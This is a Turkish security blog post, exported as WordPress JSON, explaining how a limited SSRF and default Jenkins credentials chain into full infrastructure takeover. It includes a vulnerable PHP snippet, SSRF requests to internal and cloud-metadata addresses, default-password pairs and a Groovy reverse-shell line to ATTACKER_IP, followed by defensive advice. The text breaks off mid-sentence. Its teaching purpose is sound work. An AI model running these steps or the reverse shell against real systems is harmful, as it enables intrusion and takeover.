{"id":38698,"date":"2026-02-05T19:31:25","date_gmt":"2026-02-05T16:31:25","guid":{"rendered":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/"},"modified":"2026-02-05T19:31:25","modified_gmt":"2026-02-05T16:31:25","slug":"orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri","status":"publish","type":"post","link":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/","title":{"rendered":"Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri"},"content":{"rendered":"<h2>Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri<\/h2>\n<p>Siber g\u00fcvenlik d\u00fcnyas\u0131nda, tek ba\u015f\u0131na &#8220;orta&#8221; \u015fiddette derecelendirilen bulgular genellikle acil \u00f6ncelik listesinin alt s\u0131ralar\u0131nda yer al\u0131r ve bazen yeterince dikkat \u00e7ekmez. Ancak bu makalede, iki ayr\u0131 orta seviyeli g\u00fcvenlik a\u00e7\u0131\u011f\u0131n\u0131n bir araya geldi\u011finde nas\u0131l y\u0131k\u0131c\u0131 bir etki yaratabilece\u011fini, hatta t\u00fcm altyap\u0131n\u0131n ele ge\u00e7irilmesine yol a\u00e7abilece\u011fini detayl\u0131 bir senaryo \u00fczerinden inceleyece\u011fiz. Bu t\u00fcr zincirleme sald\u0131r\u0131lar, g\u00fcvenlik ekipleri i\u00e7in ciddi bir k\u00f6r nokta olu\u015fturabilir ve organizasyonlar i\u00e7in felaketle sonu\u00e7lanabilir.<\/p>\n<h2>Orta Seviyeli G\u00fcvenlik A\u00e7\u0131klar\u0131n\u0131n Yan\u0131lt\u0131c\u0131 Do\u011fas\u0131<\/h2>\n<p>G\u00fcvenlik a\u00e7\u0131klar\u0131, genellikle CVSS (Common Vulnerability Scoring System) gibi standartlara g\u00f6re derecelendirilir. &#8220;Orta&#8221; seviye bir bulgu, genellikle do\u011frudan veri s\u0131zd\u0131rma, tam sistem kontrol\u00fc veya kritik hizmet kesintisi gibi an\u0131nda ve y\u0131k\u0131c\u0131 sonu\u00e7lar do\u011furmayan bir zafiyeti ifade eder. Bu durum, \u00e7o\u011fu zaman bu t\u00fcr bulgular\u0131n \u00f6neminin k\u00fc\u00e7\u00fcmsenmesine yol a\u00e7ar.<\/p>\n<h3>&#8220;Medium&#8221; Derecelendirmesi Ne Anlama Gelir?<\/h3>\n<p>&#8220;Medium&#8221; (Orta) derecelendirmesi, bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131n\u0131n sistemin genel b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc, gizlili\u011fini veya eri\u015filebilirli\u011fini belirli ko\u015fullar alt\u0131nda etkileyebilece\u011fini g\u00f6sterir. \u00d6rne\u011fin, bir bilgi s\u0131zd\u0131rma zafiyeti, do\u011frudan hassas veri \u00e7almasa da, sald\u0131rganlara sistem hakk\u0131nda de\u011ferli ipu\u00e7lar\u0131 verebilir. Bir ba\u015fka \u00f6rnek olarak, zay\u0131f bir eri\u015fim kontrol\u00fc, belirli kullan\u0131c\u0131lar\u0131n yetkileri d\u0131\u015f\u0131ndaki baz\u0131 kaynaklara eri\u015fmesine izin verebilir ancak kritik sistemlere do\u011frudan yol a\u00e7mayabilir.<\/p>\n<h3>Tek Ba\u015f\u0131na Etkileri ve Alg\u0131lanan Risk<\/h3>\n<p>Tek ba\u015f\u0131na ele al\u0131nd\u0131\u011f\u0131nda, orta seviyeli bir bulgunun etkisi genellikle s\u0131n\u0131rl\u0131d\u0131r. \u00d6rne\u011fin, bir web uygulamas\u0131ndaki s\u0131n\u0131rl\u0131 bir Server-Side Request Forgery (SSRF) zafiyeti, sadece i\u00e7 a\u011fdaki baz\u0131 HTTP\/HTTPS kaynaklar\u0131na istek g\u00f6ndermeye izin verebilir. Bu, ilk bak\u0131\u015fta sadece i\u00e7 a\u011fdaki servislerin varl\u0131\u011f\u0131n\u0131 ortaya \u00e7\u0131karmaktan \u00f6teye gitmeyebilir. Bu durum, g\u00fcvenlik ekiplerinin kaynaklar\u0131n\u0131 daha y\u00fcksek dereceli (kritik veya y\u00fcksek) bulgulara ay\u0131rmas\u0131na neden olabilir, orta seviyeli zafiyetler ise daha az \u00f6ncelikli g\u00f6r\u00fcl\u00fcr.<\/p>\n<h3>Neden G\u00f6z Ard\u0131 Edilirler?<\/h3>\n<p>Orta seviyeli g\u00fcvenlik bulgular\u0131 genellikle birka\u00e7 nedenle g\u00f6z ard\u0131 edilir veya \u00f6nceliklendirmede geri plana at\u0131l\u0131r:<\/p>\n<ul>\n<li><strong>D\u00fc\u015f\u00fck Do\u011frudan Etki:<\/strong> Tek ba\u015f\u0131na ciddi bir hasara yol a\u00e7mad\u0131klar\u0131 d\u00fc\u015f\u00fcn\u00fcl\u00fcr.<\/li>\n<li><strong>Kaynak K\u0131s\u0131tlamalar\u0131:<\/strong> G\u00fcvenlik ekipleri genellikle s\u0131n\u0131rl\u0131 kaynaklara sahiptir ve en acil tehditlere odaklanmak zorundad\u0131r.<\/li>\n<li><strong>Karma\u015f\u0131kl\u0131k:<\/strong> Bu t\u00fcr bulgular\u0131n nas\u0131l zincirlenebilece\u011fini anlamak, derinlemesine bilgi ve yarat\u0131c\u0131l\u0131k gerektirir.<\/li>\n<li><strong>Yanl\u0131\u015f Alg\u0131:<\/strong> &#8220;Orta&#8221; kelimesi, potansiyel tehlikenin hafife al\u0131nmas\u0131na neden olabilir.<\/li>\n<\/ul>\n<p>Ancak, bu yan\u0131lt\u0131c\u0131 do\u011fa, siber sald\u0131rganlar\u0131n s\u0131kl\u0131kla kulland\u0131\u011f\u0131 bir bo\u015fluktur. Bir\u00e7ok ba\u015far\u0131l\u0131 siber sald\u0131r\u0131, birden fazla d\u00fc\u015f\u00fck veya orta seviyeli zafiyetin ak\u0131ll\u0131ca birle\u015ftirilmesiyle ger\u00e7ekle\u015fir.<\/p>\n<h2>Senaryo 1: S\u0131n\u0131rl\u0131 Sunucu Tarafl\u0131 \u0130stek Sahtecili\u011fi (SSRF)<\/h2>\n<p>\u0130lk &#8220;orta&#8221; seviyeli bulgumuz, bir web uygulamas\u0131ndaki s\u0131n\u0131rl\u0131 bir Sunucu Tarafl\u0131 \u0130stek Sahtecili\u011fi (SSRF) zafiyetidir. Bu t\u00fcr bir zafiyet, genellikle sunucunun, d\u0131\u015far\u0131dan gelen bir URL&#8217;yi kullanarak dahili veya harici bir kayna\u011fa istek yapmas\u0131na izin verir.<\/p>\n<h3>SSRF Nedir ve Nas\u0131l \u00c7al\u0131\u015f\u0131r?<\/h3>\n<p>SSRF (Server-Side Request Forgery), bir web uygulamas\u0131n\u0131n, sald\u0131rgan taraf\u0131ndan sa\u011flanan bir URL&#8217;yi kullanarak sunucu taraf\u0131nda bir istek yapmaya zorlanmas\u0131 durumudur. Bu, genellikle bir uygulaman\u0131n kullan\u0131c\u0131dan bir URL al\u0131p bu URL&#8217;deki i\u00e7eri\u011fi getirme veya i\u015fleme i\u015flevine sahip oldu\u011fu yerlerde ortaya \u00e7\u0131kar. \u00d6rne\u011fin, bir profil resmi URL&#8217;sini alan bir servis, bu resmi sunucu \u00fczerinden indirip i\u015fleyebilir. E\u011fer bu i\u015flev do\u011fru \u015fekilde do\u011frulanmazsa, sald\u0131rganlar i\u00e7 a\u011fdaki kaynaklara veya hatta sunucunun kendisine istek g\u00f6nderebilirler.<\/p>\n<p>Basit bir \u00f6rnek:<\/p>\n<pre><code class=\"language-php\"><?php\n    $url = $_GET['url'];\n    \/\/ G\u00fcvenlik kontrol\u00fc eksik\n    echo file_get_contents($url);\n?><\/pre>\n<p><\/code><\/p>\n<p>Yukar\u0131daki PHP kodu, <code>url<\/code> parametresi ile gelen herhangi bir URL'nin i\u00e7eri\u011fini okuyup ekrana basar. Sald\u0131rgan, bu zafiyeti kullanarak <code>http:\/\/localhost\/admin<\/code> veya <code>http:\/\/169.254.169.254\/latest\/meta-data\/<\/code> gibi dahili adreslere istek g\u00f6nderebilir.<\/p>\n<h3>Orta Seviye SSRF \u00d6rne\u011fi ve Tespiti<\/h3>\n<p>Senaryomuzdaki SSRF, tam bir RCE (Remote Code Execution) veya dosya okuma yetene\u011fi sa\u011flamayan, ancak i\u00e7 a\u011fdaki HTTP\/HTTPS servislerine istek yapabilen bir t\u00fcrd\u00fcr. \u00d6rne\u011fin, bir uygulaman\u0131n \"resim \u00f6nizleme\" veya \"URL'den veri \u00e7ekme\" \u00f6zelli\u011fi, kullan\u0131c\u0131dan ald\u0131\u011f\u0131 URL'ye sunucu taraf\u0131ndan bir HTTP GET iste\u011fi g\u00f6nderiyor olabilir. Ancak, bu istekler sadece belirli portlara (\u00f6rn. 80, 443) veya belirli protokollere (\u00f6rn. http, https) izin veriyor olabilir ve yan\u0131t\u0131n i\u00e7eri\u011fi filtreleniyor veya k\u0131smen g\u00f6steriliyor olabilir.<\/p>\n<p>Tespiti, genellikle uygulaman\u0131n d\u0131\u015far\u0131dan verilen bir URL'ye nas\u0131l tepki verdi\u011fini g\u00f6zlemleyerek yap\u0131l\u0131r. Sald\u0131rgan, i\u00e7 IP adreslerine (\u00f6rne\u011fin, <code>127.0.0.1<\/code>, <code>10.0.0.1<\/code>) veya AWS meta veri servisine (<code>169.254.169.254<\/code>) istek g\u00f6ndererek, sunucunun bu adreslere eri\u015fip eri\u015femedi\u011fini ve yan\u0131t\u0131n ne oldu\u011funu anlamaya \u00e7al\u0131\u015f\u0131r.<\/p>\n<p>\u00d6rnek bir SSRF iste\u011fi:<\/p>\n<pre><code class=\"language-http\">GET \/preview?url=http:\/\/127.0.0.1\/admin HTTP\/1.1\nHost: example.com<\/pre>\n<p><\/code><\/p>\n<p>Bu istek, <code>example.com<\/code> sunucusunun kendi i\u00e7indeki <code>\/admin<\/code> sayfas\u0131na istek g\u00f6ndermesini sa\u011flar. E\u011fer yan\u0131t, admin panelinin bir k\u0131sm\u0131n\u0131 veya bir hata mesaj\u0131n\u0131 i\u00e7eriyorsa, SSRF do\u011frulanm\u0131\u015f olur.<\/p>\n<h3>\u0130lk Bulgunun Potansiyeli<\/h3>\n<p>Bu SSRF zafiyeti, tek ba\u015f\u0131na \"orta\" seviye olarak derecelendirilir \u00e7\u00fcnk\u00fc do\u011frudan hassas veri s\u0131zd\u0131rmaz veya sistem kontrol\u00fc sa\u011flamaz. Ancak, potansiyeli olduk\u00e7a y\u00fcksektir:<\/p>\n<ul>\n<li><strong>\u0130\u00e7 A\u011f Ke\u015ffi:<\/strong> \u0130\u00e7 a\u011fdaki canl\u0131 ana bilgisayarlar\u0131 ve \u00e7al\u0131\u015fan servisleri tespit etmek i\u00e7in kullan\u0131labilir.<\/li>\n<li><strong>Port Tarama:<\/strong> Dahili IP adreslerindeki a\u00e7\u0131k portlar\u0131 belirlemek i\u00e7in kullan\u0131labilir.<\/li>\n<li><strong>Bilgi S\u0131zd\u0131rma:<\/strong> Dahili servislerin banner bilgilerini, versiyonlar\u0131n\u0131 veya hata mesajlar\u0131n\u0131 ortaya \u00e7\u0131karabilir.<\/li>\n<li><strong>Meta Veri Eri\u015fimi:<\/strong> Bulut ortamlar\u0131nda (AWS, Azure, GCP) meta veri servislerine eri\u015ferek ge\u00e7ici kimlik bilgileri veya di\u011fer hassas bilgilere ula\u015fabilir.<\/li>\n<\/ul>\n<p>Bu ilk bulgu, sald\u0131rgan\u0131n i\u00e7 a\u011f hakk\u0131nda de\u011ferli bilgiler edinmesini sa\u011flayarak, bir sonraki a\u015fama i\u00e7in zemin haz\u0131rlar.<\/p>\n<h2>Senaryo 2: Dahili Bir Serviste Zay\u0131f Kimlik Bilgileri\/Varsay\u0131lan Yap\u0131land\u0131rma<\/h2>\n<p>\u0130kinci \"orta\" seviyeli bulgumuz, i\u00e7 a\u011fda \u00e7al\u0131\u015fan bir y\u00f6netim veya geli\u015ftirme servisinde zay\u0131f kimlik bilgileri veya varsay\u0131lan yap\u0131land\u0131rman\u0131n bulunmas\u0131d\u0131r. Bu t\u00fcr servisler genellikle d\u0131\u015f d\u00fcnyaya kapal\u0131 oldu\u011fu i\u00e7in, g\u00fcvenlik denetimlerinde g\u00f6zden ka\u00e7abilir.<\/p>\n<h3>Dahili A\u011f Ke\u015ffi ve Hedef Belirleme<\/h3>\n<p>\u00d6nceki SSRF zafiyetini kullanarak, sald\u0131rgan i\u00e7 a\u011fda aktif olan servisleri ke\u015ffetmeye ba\u015flar. \u00d6rne\u011fin, SSRF ile <code>10.0.0.0\/8<\/code> gibi i\u00e7 IP bloklar\u0131n\u0131 tarayarak, belirli portlarda (\u00f6rn. 8080, 8443, 9000) yan\u0131t veren sistemleri tespit edebilir. Bu tarama sonucunda, sald\u0131rgan bir Jenkins sunucusu, Kubernetes API, Docker Registry veya benzeri bir geli\u015ftirme\/y\u00f6netim aray\u00fcz\u00fc buldu\u011funu varsayal\u0131m. Bu servisler genellikle dahili a\u011fda \u00e7al\u0131\u015ft\u0131\u011f\u0131 i\u00e7in, d\u0131\u015far\u0131dan do\u011frudan eri\u015filemezler ve bu nedenle daha az s\u0131k\u0131 g\u00fcvenlik kontrollerine sahip olabilirler.<\/p>\n<p>\u00d6rnek bir SSRF ile i\u00e7 a\u011f taramas\u0131:<\/p>\n<pre><code class=\"language-bash\"># Sald\u0131rgan, SSRF zafiyetini kullanarak a\u015fa\u011f\u0131daki gibi istekler g\u00f6nderir:\n# http:\/\/example.com\/preview?url=http:\/\/10.0.0.1:8080\n# http:\/\/example.com\/preview?url=http:\/\/10.0.0.2:9000\n# ... ve yan\u0131tlar\u0131 analiz eder.<\/pre>\n<p><\/code><\/p>\n<p>Bu tarama sonucunda, \u00f6rne\u011fin <code>http:\/\/10.0.0.5:8080<\/code> adresinde bir Jenkins y\u00f6netim aray\u00fcz\u00fc tespit edildi\u011fini varsayal\u0131m.<\/p>\n<h3>Zay\u0131f Kimlik Bilgilerinin Rol\u00fc<\/h3>\n<p>Dahili servisler, d\u0131\u015f d\u00fcnyaya a\u00e7\u0131k olmad\u0131klar\u0131 i\u00e7in genellikle daha az g\u00fcvenlik \u00f6nlemiyle yap\u0131land\u0131r\u0131l\u0131r. Bu durum, yayg\u0131n veya varsay\u0131lan kimlik bilgilerinin kullan\u0131lmas\u0131na yol a\u00e7abilir. \u00d6rne\u011fin:<\/p>\n<ul>\n<li><strong>Varsay\u0131lan Kullan\u0131c\u0131 Ad\u0131\/\u015eifreler:<\/strong> <code>admin:admin<\/code>, <code>jenkins:jenkins<\/code>, <code>root:toor<\/code>, <code>user:password<\/code>.<\/li>\n<li><strong>Bo\u015f \u015eifreler:<\/strong> Kullan\u0131c\u0131 ad\u0131 var ama \u015fifre yok.<\/li>\n<li><strong>Kolay Tahmin Edilebilir \u015eifreler:<\/strong> \u015eirket ad\u0131, servis ad\u0131 veya basit say\u0131lar.<\/li>\n<\/ul>\n<p>Bu zay\u0131f kimlik bilgileri, tek ba\u015f\u0131na \"orta\" seviyeli bir bulgu olarak kabul edilir, \u00e7\u00fcnk\u00fc bir sald\u0131rgan\u0131n bunlara eri\u015fmesi i\u00e7in ya brute-force yapmas\u0131 ya da ba\u015fka bir bilgi s\u0131zd\u0131rma zafiyetini kullanmas\u0131 gerekir. Ancak, i\u00e7 a\u011fda ke\u015ffedilen bir serviste bu t\u00fcr kimlik bilgilerinin bulunmas\u0131, kritik bir g\u00fcvenlik zafiyetine d\u00f6n\u00fc\u015febilir.<\/p>\n<h3>\u0130kinci Bulgunun Tespiti ve \u00d6nemi<\/h3>\n<p>Sald\u0131rgan, SSRF arac\u0131l\u0131\u011f\u0131yla eri\u015fti\u011fi Jenkins y\u00f6netim paneline, yayg\u0131n varsay\u0131lan kimlik bilgilerini veya basit bir \u015fifre listesini deneyerek giri\u015f yapmaya \u00e7al\u0131\u015f\u0131r. E\u011fer <code>admin:admin<\/code> gibi varsay\u0131lan bir kombinasyon ba\u015far\u0131l\u0131 olursa, ikinci \"orta\" seviyeli bulgu da do\u011frulanm\u0131\u015f olur. Bu, Jenkins'e tam y\u00f6netici eri\u015fimi anlam\u0131na gelir.<\/p>\n<p>Bu bulgunun \u00f6nemi b\u00fcy\u00fckt\u00fcr \u00e7\u00fcnk\u00fc:<\/p>\n<ul>\n<li><strong>Geli\u015ftirme Ortam\u0131na Eri\u015fim:<\/strong> Jenkins gibi CI\/CD ara\u00e7lar\u0131, genellikle kaynak kod depolar\u0131na, test ortamlar\u0131na ve hatta \u00fcretim sunucular\u0131na eri\u015fim yetkisine sahiptir.<\/li>\n<li><strong>Kod Y\u00fcr\u00fctme Yetene\u011fi:<\/strong> Jenkins, build agent'lar\u0131 \u00fczerinde komut \u00e7al\u0131\u015ft\u0131rma yetene\u011fi sunar. Bu, sald\u0131rgan\u0131n uzaktan kod y\u00fcr\u00fctme (RCE) elde etmesi i\u00e7in do\u011frudan bir yol sa\u011flar.<\/li>\n<li><strong>Di\u011fer Sistemlere Pivot:<\/strong> Jenkins'in sahip oldu\u011fu izinler ve ba\u011flant\u0131lar, sald\u0131rgan\u0131n di\u011fer dahili sistemlere (veritabanlar\u0131, di\u011fer sunucular, bulut kaynaklar\u0131) ge\u00e7i\u015f yapmas\u0131n\u0131 kolayla\u015ft\u0131r\u0131r.<\/li>\n<\/ul>\n<p>Bu iki \"orta\" seviyeli bulgu, \u015fimdi bir zincir olu\u015fturmaya haz\u0131rd\u0131r.<\/p>\n<h2>Zincirleme Sald\u0131r\u0131: Altyap\u0131 Ele Ge\u00e7irme Yolu<\/h2>\n<p>\u015eimdiye kadar, iki ayr\u0131 \"orta\" seviyeli bulguyu ele ald\u0131k: s\u0131n\u0131rl\u0131 SSRF ve dahili bir Jenkins servisinde zay\u0131f kimlik bilgileri. Bu iki bulgu, tek ba\u015f\u0131na s\u0131n\u0131rl\u0131 etkiye sahipken, bir araya geldiklerinde t\u00fcm altyap\u0131n\u0131n ele ge\u00e7irilmesine yol a\u00e7abilecek g\u00fc\u00e7l\u00fc bir zincir olu\u015fturur.<\/p>\n<h3>SSRF ile Dahili Servise Eri\u015fim<\/h3>\n<p>Sald\u0131r\u0131n\u0131n ilk ad\u0131m\u0131, SSRF zafiyetini kullanarak dahili Jenkins servisine eri\u015fmektir. Sald\u0131rgan, web uygulamas\u0131n\u0131n SSRF noktas\u0131n\u0131 kullanarak Jenkins y\u00f6netim aray\u00fcz\u00fcne HTTP istekleri g\u00f6nderir. Bu, d\u0131\u015far\u0131dan do\u011frudan eri\u015filemeyen Jenkins panelini, web uygulamas\u0131 \u00fczerinden \"proxy\"leyerek eri\u015filebilir hale getirir.<\/p>\n<p>\u00d6rnek SSRF iste\u011fi (Jenkins giri\u015f sayfas\u0131na):<\/p>\n<pre><code class=\"language-http\">GET \/preview?url=http:\/\/10.0.0.5:8080\/login HTTP\/1.1\nHost: example.com<\/pre>\n<p><\/code><\/p>\n<p>Bu istek, <code>example.com<\/code> sunucusunun <code>10.0.0.5:8080<\/code> adresindeki Jenkins giri\u015f sayfas\u0131n\u0131 getirmesini ve yan\u0131t\u0131 sald\u0131rgana iletmesini sa\u011flar. Sald\u0131rgan, bu yolla Jenkins'in kullan\u0131c\u0131 aray\u00fcz\u00fcn\u00fc g\u00f6rebilir ve kimlik do\u011frulama formunu kullanabilir.<\/p>\n<h3>Zay\u0131f Kimlik Bilgileriyle Kimlik Do\u011frulama<\/h3>\n<p>Jenkins giri\u015f sayfas\u0131n\u0131 SSRF arac\u0131l\u0131\u011f\u0131yla g\u00f6rd\u00fckten sonra, sald\u0131rgan daha \u00f6nce tespit etti\u011fi zay\u0131f kimlik bilgilerini (\u00f6rn. <code>admin:admin<\/code>) kullanarak oturum a\u00e7maya \u00e7al\u0131\u015f\u0131r. Bu da yine SSRF zafiyeti \u00fczerinden bir POST iste\u011fi g\u00f6nderilerek ger\u00e7ekle\u015ftirilir.<\/p>\n<p>\u00d6rnek SSRF ile Jenkins'e giri\u015f (pseudo-code):<\/p>\n<pre><code class=\"language-http\">POST \/preview?url=http:\/\/10.0.0.5:8080\/j_security_check HTTP\/1.1\nHost: example.com\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: [length]\n\nj_username=admin&j_password=admin&from=%2F&Submit=Sign+in<\/pre>\n<p><\/code><\/p>\n<p>E\u011fer kimlik bilgileri do\u011fruysa, Jenkins bir oturum \u00e7erezi (session cookie) d\u00f6nd\u00fcr\u00fcr. Sald\u0131rgan, bu \u00e7erezi SSRF arac\u0131l\u0131\u011f\u0131yla elde ederek, sonraki t\u00fcm isteklerinde bu \u00e7erezi kullanarak Jenkins'te kimli\u011fi do\u011frulanm\u0131\u015f bir kullan\u0131c\u0131 olarak gezinebilir.<\/p>\n<h3>Tam Kontrol\u00fcn Elde Edilmesi (\u00d6rn: RCE)<\/h3>\n<p>Jenkins'e y\u00f6netici eri\u015fimi elde edildikten sonra, sald\u0131rgan\u0131n \u00f6n\u00fcnde tam altyap\u0131 ele ge\u00e7irme i\u00e7in bir\u00e7ok yol a\u00e7\u0131l\u0131r. Jenkins, genellikle \"Script Console\" veya \"Build Job\" \u00f6zellikleri arac\u0131l\u0131\u011f\u0131yla sunucuda veya ba\u011fl\u0131 build agent'lar\u0131nda keyfi komutlar \u00e7al\u0131\u015ft\u0131rma yetene\u011fi sunar. Bu, Uzaktan Kod Y\u00fcr\u00fctme (RCE) anlam\u0131na gelir.<\/p>\n<p><strong>\u00d6rnek Kod Par\u00e7ac\u0131klar\u0131:<\/strong><\/p>\n<p>Jenkins Script Console'da Groovy kodu ile RCE:<\/p>\n<pre><code class=\"language-groovy\">\"whoami\".execute().text\n\/\/ veya\n\"bash -i >& \/dev\/tcp\/ATTACKER_IP\/PORT 0>&1\".execute() \/\/ Ters kabuk (Reverse Shell)<\/pre>\n<p><\/code><\/p>\n<p>Bu komutlar, Jenkins sunucusunda veya build agent'\u0131nda \u00e7al\u0131\u015ft\u0131r\u0131larak, sald\u0131rgan\u0131n sunucu \u00fczerinde tam kontrol elde etmesini sa\u011flar. Bir ters kabuk ile, sald\u0131rgan art\u0131k do\u011frudan sunucuya ba\u011flanabilir, dosya sistemini ke\u015ffedebilir, di\u011fer servisleri hedefleyebilir, hassas verilere eri\u015febilir ve a\u011fdaki di\u011fer sistemlere yay\u0131labilir. Bu, tam anlam\u0131yla altyap\u0131 ele ge\u00e7irme demektir.<\/p>\n<p>Bu a\u015famadan sonra, sald\u0131rgan\u0131n yapabilecekleri s\u0131n\u0131rs\u0131zd\u0131r:<\/p>\n<ul>\n<li>Veritabanlar\u0131na eri\u015fim ve veri s\u0131zd\u0131rma.<\/li>\n<li>Di\u011fer sunuculara yanal hareket (lateral movement).<\/li>\n<li>Uygulama kodunu de\u011fi\u015ftirme ve arka kap\u0131lar yerle\u015ftirme.<\/li>\n<li>T\u00fcm altyap\u0131y\u0131 etkileyen hizmet kesintileri olu\u015fturma.<\/li>\n<\/ul>\n<p>G\u00f6r\u00fcld\u00fc\u011f\u00fc gibi, iki \"orta\" seviyeli bulgu, bir araya geldi\u011finde \"kritik\" seviyede bir etki yaratabilir ve organizasyonun t\u00fcm dijital varl\u0131klar\u0131n\u0131 tehlikeye atabilir.<\/p>\n<h2>Bu T\u00fcr Zincirleri \u00d6nleme Stratejileri<\/h2>\n<p>Bu t\u00fcr zincirleme sald\u0131r\u0131lar\u0131 \u00f6nlemek, tek tek g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 kapatmaktan daha fazlas\u0131n\u0131 gerektirir. Kapsaml\u0131 bir g\u00fcvenlik stratejisi ve \"derinlemesine savunma\" yakla\u015f\u0131m\u0131 hayati \u00f6nem ta\u015f\u0131r.<\/p>\n<h3>Derinlemesine Savunma (Defense in Depth) Prensibi<\/h3>\n<p>Derinlemesine savunma, birden fazla g\u00fcvenlik katman\u0131 uygulayarak, bir katman\u0131n a\u015f\u0131lmas\u0131 durumunda di\u011fer katmanlar\u0131n koruma sa\u011flamas\u0131n\u0131 ama\u00e7lar. Bu, tek bir g\u00fcvenlik kontrol\u00fcne ba\u011f\u0131ml\u0131 kalmak yerine, farkl\u0131 t\u00fcrde ve seviyede kontrollerin bir arada kullan\u0131lmas\u0131n\u0131 te\u015fvik eder. \u00d6rne\u011fin, bir web uygulamas\u0131 g\u00fcvenlik duvar\u0131 (WAF) ile birlikte, a\u011f segmentasyonu, g\u00fc\u00e7l\u00fc kimlik do\u011frulama ve s\u00fcrekli izleme gibi kontrollerin uygulanmas\u0131.<\/p>\n<ul>\n<li><strong>\u00c7ok Katmanl\u0131 G\u00fcvenlik:<\/strong> A\u011f, uygulama, veri ve u\u00e7 nokta seviyelerinde farkl\u0131 g\u00fcvenlik kontrolleri uygulay\u0131n.<\/li>\n<li><strong>En Az Yetki Prensibi:<\/strong> Kullan\u0131c\u0131lara ve servislere yaln\u0131zca i\u015flerini yapmalar\u0131 i\u00e7in gerekli olan minimum yetkiyi verin.<\/li>\n<li><strong>S\u00fcrekli \u0130zleme:<\/strong> G\u00fcvenlik olaylar\u0131n\u0131 ve anormallikleri tespit etmek i\u00e7in sistemlerinizi s\u00fcrekli olarak izleyin.<\/li>\n<\/ul>\n<h3>Dahili A\u011f Segmentasyonu ve Eri\u015fim Kontrol\u00fc<\/h3>\n<p>\u0130\u00e7 a\u011f\u0131n do\u011fru \u015fekilde segmentlere ayr\u0131lmas\u0131, bir sald\u0131rgan\u0131n bir sisteme s\u0131zd\u0131ktan sonra di\u011fer sistemlere yay\u0131lmas\u0131n\u0131 zorla\u015ft\u0131r\u0131r. Jenkins gibi geli\u015ftirme servisleri, \u00fcretim ortam\u0131ndan tamamen izole edilmi\u015f ayr\u0131 bir a\u011f segmentinde tutulmal\u0131d\u0131r. Ayr\u0131ca, i\u00e7 a\u011fdaki servislere eri\u015fim, en az yetki prensibiyle s\u0131k\u0131 bir \u015fekilde kontrol edilmelidir.<\/p>\n<ul>\n<li><strong>VLAN'lar ve G\u00fcvenlik Gruplar\u0131:<\/strong> Farkl\u0131 i\u015flevlere sahip sunucular\u0131 ve servisleri ayr\u0131 VLAN'lar veya bulut g\u00fcvenlik gruplar\u0131 arac\u0131l\u0131\u011f\u0131yla izole edin.<\/li>\n<li><strong>Firewall Kurallar\u0131:<\/strong> \u0130\u00e7 a\u011fdaki trafik ak\u0131\u015f\u0131n\u0131 s\u0131k\u0131 firewall kurallar\u0131yla kontrol edin. Sadece gerekli portlara ve IP adreslerine izin verin.<\/li>\n<li><strong>VPN veya Bastion Host:<\/strong> Dahili y\u00f6netim aray\u00fczlerine eri\u015fimi, yaln\u0131zca g\u00fcvenli VPN ba\u011flant\u0131lar\u0131 veya bastion host'lar \u00fczerinden sa\u011flay\u0131n.<\/li>\n<\/ul>\n<h3>G\u00fcvenli Yap\u0131land\u0131rma ve Varsay\u0131lanlar\u0131 De\u011fi\u015ftirme<\/h3>\n<p>T\u00fcm sistemler ve uygulamalar, kurulumdan hemen sonra varsay\u0131lan ayarlardan de\u011fi\u015ftirilerek g\u00fcvenli bir \u015fekilde yap\u0131land\u0131r\u0131lmal\u0131d\u0131r. Bu, \u00f6zellikle kimlik bilgileri i\u00e7in ge\u00e7erlidir.<\/p>\n<ul>\n<li><strong>G\u00fc\u00e7l\u00fc ve Benzersiz \u015eifreler:<\/strong> T\u00fcm servisler i\u00e7in varsay\u0131lan kimlik bilgilerini de\u011fi\u015ftirin ve karma\u015f\u0131k, benzersiz \u015fifreler kullan\u0131n. \u015eifre y\u00f6neticileri veya merkezi kimlik y\u00f6netimi sistemleri kullan\u0131n.<\/li>\n<li><strong>\u00c7ok Fakt\u00f6rl\u00fc Kimlik Do\u011frulama (MFA):<\/strong> M\u00fcmk\u00fcn olan her yerde MFA'y\u0131 etkinle\u015ftirin, \u00f6zellikle y\u00f6netim aray\u00fczleri i\u00e7in.<\/li>\n<li><strong>Gereksiz Servisleri Kapatma:<\/strong> Kullan\u0131lmayan portlar\u0131 ve servisleri kapat\u0131n.<\/li>\n<li><strong>Yamalar ve G\u00fcncellemeler:<\/strong> T\u00fcm yaz\u0131l\u0131mlar\u0131 ve i\u015fletim sistemlerini d\u00fczenli olarak g\u00fcncelleyin ve bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 kapat\u0131n.<\/li>\n<\/ul>\n<h3>S\u00fcrekli G\u00fcvenlik Denetimleri ve Penetrasyon Testleri<\/h3>\n<p>G\u00fcvenlik, tek seferlik bir i\u015flem de\u011fildir; s\u00fcrekli bir s\u00fcre\u00e7tir. D\u00fczenli g\u00fcvenlik denetimleri ve penetrasyon testleri, hem bilinen hem de bilinmeyen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 tespit etmek i\u00e7in kritik \u00f6neme sahiptir.<\/p>\n<ul>\n<li><strong>Otomatik Taray\u0131c\u0131lar:<\/strong> Web uygulamas\u0131 g\u00fcvenlik taray\u0131c\u0131lar\u0131 (SAST, DAST) kullanarak bilinen zafiyetleri otomatik olarak tespit edin.<\/li>\n<li><strong>Manuel Penetrasyon Testleri:<\/strong> Uzman g\u00fcvenlik ara\u015ft\u0131rmac\u0131lar\u0131 taraf\u0131ndan yap\u0131lan manuel testler, otomatik ara\u00e7lar\u0131n ka\u00e7\u0131rabilece\u011fi zincirleme zafiyetleri ve i\u015f mant\u0131\u011f\u0131 hatalar\u0131n\u0131 ortaya \u00e7\u0131karabilir.<\/li>\n<li><strong>K\u0131rm\u0131z\u0131 Tak\u0131m Tatbikatlar\u0131:<\/strong> Ger\u00e7ek\u00e7i sald\u0131r\u0131 senaryolar\u0131n\u0131 sim\u00fcle ederek savunma mekanizmalar\u0131n\u0131n 